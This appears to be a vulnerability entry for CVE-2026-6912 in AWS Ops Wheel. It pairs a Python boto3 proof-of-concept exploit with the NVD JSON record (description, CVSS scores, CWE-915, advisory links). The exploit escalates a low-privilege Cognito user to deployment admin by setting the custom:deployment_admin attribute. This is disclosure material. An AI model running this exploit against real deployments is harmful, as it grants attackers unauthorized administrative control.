CVE-2026-6912

import boto3 # PoC for CVE-2026-6912: AWS Ops Wheel Privilege Escalation # Requires: AWS Credentials with low privileges in the target User Pool client = boto3.client('cognito-idp', region_name='us-east-1') # Configuration USER_POOL_ID = 'us-east-1_XXXXXXXXX' ACCESS_TOKEN = 'LOW_PRIVILEGE_ACCESS_TOKEN' def exploit(): try: print("[+] Attempting to escalate privileges by modifying custom:deployment_admin attribute...") # The vulnerability allows any authenticated user to set the admin attribute response = client.update_user_attributes( UserPoolId=USER_POOL_ID, AccessToken=ACCESS_TOKEN, UserAttributes=[ { 'Name': 'custom:deployment_admin', 'Value': 'true' } ] ) print("[+] Exploit successful! User attributes updated.") print(f"[+] Response: {response}") print("[+] Verify privileges by attempting admin actions.") except client.exceptions.NotAuthorizedException: print("[-] Exploit failed: Invalid credentials or token.") except client.exceptions.InvalidParameterException as e: print(f"[-] Exploit failed: Invalid parameter - {e}") except Exception as e: print(f"[-] An unexpected error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-6912", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-04-24T17:16:22.377", "lastModified": "2026-04-24T17:56:41.280", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improperly controlled modification of dynamically-determined object attributes in the Cognito User Pool configuration in AWS Ops Wheel before PR #165 allows remote authenticated users to escalate to deployment admin privileges and manage Cognito user accounts via a crafted UpdateUserAttributes API call that sets the custom:deployment_admin attribute.\n\nTo remediate this issue, users should redeploy from the updated repository and ensure any forked or derivative code is patched to incorporate the new fixes."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-018-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/aws-ops-wheel/pull/165", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}, {"url": "https://github.com/aws/aws-ops-wheel/security/advisories/GHSA-qvfh-9cjw-8wwq", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}